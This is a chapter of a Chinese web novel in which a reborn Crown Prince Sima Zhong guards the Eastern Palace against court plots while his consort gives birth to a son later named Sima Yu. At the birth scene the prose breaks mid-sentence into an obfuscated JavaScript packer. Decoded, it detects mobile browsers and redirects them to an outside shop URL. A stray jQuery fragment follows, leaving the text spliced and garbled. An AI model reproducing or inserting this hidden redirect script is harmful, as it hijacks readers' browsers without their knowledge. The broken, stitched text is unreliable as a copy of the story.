泰始十一年十一月十七日,洛阳城落了今冬第一场雪。
雪是子时开始下的,起初只是细碎的雪沫,到丑时便成了鹅毛大雪,簌簌地覆盖了宫城的琉璃瓦、汉白玉阶以及东宫后殿那株已落尽叶子的石榴树。
卫瑶的产期就在这几日。
整个东宫如临大敌,宋太医带着两个医女住在偏殿,四个经验最老的稳婆轮值守着,云舒带着八个宫女日夜不休地备着热水、软布、参汤。
连前殿的李福这几日走路都踮着脚,生怕惊了后殿的胎气。
司马衷已三日没上朝了。
奏章都送到东宫书房,他批阅时总有些心不在焉,不时抬眼望向后殿方向。
窗外的雪越下越大,天地间白茫茫一片,静得能听见雪压断枯枝的“咔嚓”声。
“殿下,”李福轻手轻脚进来,手里捧着个紫铜手炉,“炭盆已经加了,后殿地龙也烧得旺,不会冻着娘娘和小主子。”
司马衷接过手炉,掌心传来的暖意却驱不散心头那点莫名的不安。
冥冥之中他又想起了前世……
他改了太多事——扳倒贾充、荀勖,推行新政,开科举,设市舶司,北疆大捷……可有些事,他改得了么?
“宋太医怎么说?”司马衷声音有些哑的问道。
“太医说就这三两日了,娘娘胎位正脉象稳,定能平安生产。”李福顿了顿,“只是……太医说,娘娘这几日忧思过重,昨夜又没睡好,恐生产时乏力。”
忧思过重。
司马衷闭了闭眼。
是啊,怎么会不忧呢?
荀昭仪虽除,可这深宫从来不是少了一个敌人就能太平的。
这些日子,送往东宫的贺礼堆满了库房,但谁知道哪些是真心的,哪些是裹了蜜的砒霜?
“去把王济叫来。”
自从战争平息,王济也升官加爵,但他家已有王浑坐镇军中,因此司马衷还是将对方调回了身边。
对此王家人心中很是乐意,毕竟简在帝心天子近臣可不是一句空话。
王济来时,肩上还落着雪。
他这几日奉命盯着各宫动静,尤其是那些与荀家有过往来或是对东宫有怨的。
“如何?”司马衷没让他行礼,直接问。
“平静得很。”王济皱眉,“太安静了,反而不对劲。赵王府闭门谢客,说是赵王染了风寒。楚王和长沙王府倒是常有人进出,可都是寻常年节走动。至于宫里……”
他压低声音:“荀昭仪被赐死后,与她要好的几个嫔妃都称病不出。十皇子过继那日只有皇后娘娘派人去送了程仪,其他宫……连面都没露。”
树倒猢狲散,人之常情。
但司马衷的感觉告诉他这平静底下,有什么在涌动。
“江南那边呢?”
“张大人说各县报上来的亩产,比往年高三成不止。百姓欢腾,可有些世家……”王济冷笑,“开始暗中收购新稻,囤积居奇。诸葛大人已着手查处,但牵涉太广,需要些时日。”
“告诉诸葛诠,放手去办。若有阻挠,可调动州兵。”司马衷淡淡道,“非常之时,用非常手段。”
“诺。”王济犹豫了一下,“殿下,还有一事。徐英的船队上月回航,带回的东西……在洛阳码头卸货时,少了一船。”
司马衷眼神一凛:“何时的事?”
“三日前。船是夜里靠的岸,守军交接时清点无误。可第二日入库,就少了一船。徐英已把当夜值守的兵士全扣了,正在严审。”
一船货物,至少五千石。
能在一夜间从重兵把守的码头运走,不是一般人能做到的。
司马衷手指在案上轻叩,忽然问:“赵王那个被赦免回京的孙子,最近在做什么?”
王济一怔:“司马虔?他回京后倒是安分,日日在家读书。只是前日,他去了一趟城南的粮行,说是……买米。”
“买米需要他一个公子哥亲自去?”司马衷笑了,笑意未达眼底,“去查那家粮行,背后是谁的产业。再查司马虔回京后见了哪些人,花了哪些钱。”
“殿下怀疑……”
“不是怀疑,是确定。”司马衷起身,走到窗前。雪光映着他年轻却沉静的脸,“荀昭仪倒了,有些人坐不住了。他们不敢明着来,就玩阴的。断我粮种,乱我江南,让我焦头烂额,无暇他顾。等东宫这边……”
他顿了顿,没说完。
可王济懂了。
等太子妃生产时出点“意外”,等太子心神大乱,他们就有可乘之机了。
“臣这就去查。”王济抱拳,转身欲走。
“等等。”司马衷叫住他,“加派一队禁军,守住东宫各门。从今日起,凡进出东宫者,无论身份,一律严查。吃食、药材、衣物,更要加倍小心。”
“臣明白。”
王济退下后,司马衷独望着漫天飞雪。
雪越下越大,天地间只剩一片纯白,干净得刺眼。可他知道这纯白底下,埋着多少污秽。
赵王年老已经压不住下面的儿孙了,司马虔自从受贾南风牵连到现在碌碌无为还沾染了各种毛病,他将这些都归于司马衷,认定要不是对方自己何至于此!
“殿下。”李福的声音在身后响起,带着不易察觉的颤抖,“后殿……后殿来报,娘娘发动了。”
司马衷猛地转身。
后殿已忙成一团。
稳婆的低声嘱咐,宫女的急促脚步,热水端进端出的蒸腾热气,混着卫瑶压抑的呻吟,在暖融融的殿内弥漫开一种紧张而神圣的气氛。
司马衷被拦在屏风外。
稳婆的声音透过屏风传来,还算平稳:“娘娘别慌,跟着老奴的节奏呼吸……对,吸气,吐气……”
卫瑶的呻吟断断续续,时而急促,时而绵长。
司马衷站在屏风外,手紧紧攥着,指甲陷进掌心。
他经历过沙场,经历过朝堂争斗,经历过无数生死瞬间,可没有一刻像现在这样,让他觉得无力。
他改得了国运,改得了历史,可改不了女子生产这一道鬼门关。
时间一点点流逝。
丑时,寅时,卯时……窗外的天从墨黑变成深灰,又渐渐泛出鱼肚白。
雪还在下,殿内的炭盆添了又添,但司马衷只觉得浑身发冷。
“娘娘,用力!看见头了!”稳婆的声音陡然拔高。
卫瑶发出一声短促的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620131|202230||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
痛呼,随即是婴儿响亮的啼哭……
“生了!生了!”稳婆的声音带着狂喜,“是个小皇孙!恭喜娘娘!恭喜殿下!”
屏风内传来杂乱的贺喜声,司马衷却僵在原地,竟一时不知该作何反应。
直到稳婆抱着襁褓出来,脸上是压不住的笑:“殿下您看,小皇孙健壮得很,六斤八两!”
司马衷低头,看向那个被裹在大红锦缎里的婴孩。
孩子脸还皱巴巴的,眼睛闭着小嘴一瘪一瘪的哭得中气十足。
他伸手,极轻地碰了碰孩子的脸颊,软得不可思议。
这是他的儿子。他和卫瑶的儿子。
“瑶儿……”他猛地想起,抬头看向屏风。
“娘娘无恙,只是力竭,睡过去了。”宋太医忙道,“臣已开了补气血的方子,这一个月仔细调理,定能恢复。”
司马衷长长舒了口气,这才觉出后背已被冷汗浸透。
他接过孩子抱在怀里,那么小那么软,却沉甸甸的,像接住了一整个世界的重量。
前世他也有过孩子,但因为自身愚笨对孩子根本没有概念,而那些孩子们也大多以悲惨结束了一生……
“殿下,”李福从外间进来,脸上带着雪融后的水渍笑的满脸都是褶子,“太极殿来人了,陛下听闻小皇孙诞生,大喜,说……要大赦天下!”
大赦天下,这是天大的恩典。
司马衷抱着儿子,走到窗边。
天已大亮,雪不知何时停了,阳光刺破云层照在雪地上,反射出耀眼的光。
那株光秃秃的石榴树,枝头竟还挂着最后一个石榴,在阳光下红得像团火。
榴花结子,多子多福,是个好兆头。
“去回父皇,”他转身,声音平稳,“儿臣代瑶儿和孩子,谢父皇隆恩。三日后洗三,请父皇赐名。”
“诺!”
消息像长了翅膀,飞遍宫城,飞遍洛阳,飞遍天下。
太子嫡子诞生,皇帝大赦天下,这是国本稳固的象征。
一时间贺表如雪片般飞向东宫,各府贺礼堆成山,连朝中那些暗中蠢蠢欲动的爪子,也暂时偃旗息鼓,递上了恭贺的奏表。
可司马衷知道,平静只是表象。
三日后洗三礼在太庙举行,司马炎亲自到场,看着乳母怀里的孙子老怀大慰。
他接过礼官呈上的金盘,盘里盛着清水,水中浮着枣、栗、葱等吉祥物件。
“陛下,”礼官唱道,“请赐名——”
司马炎拿起一枚金印,在清水里蘸了蘸,在早已备好的玉牒上,郑重写下两个字:遹。
“司马遹。”老皇帝的声音在肃穆的太庙里回荡,“望尔秉承祖德,遹追来孝,光耀我司马氏门楣。”
遹,遵循,继承。
这名字,是期许,也是定分。
此子,是未来的皇太孙,是国本之延续。
礼成,钟鼓齐鸣。百官跪拜,山呼万岁。
司马衷抱着儿子感受着那小小的温热的身体,心中涌起一股前所未有的坚定。
他要为这个孩子,扫清一切障碍。
要让这江山,稳固如山。
要让这天下,海晏河清。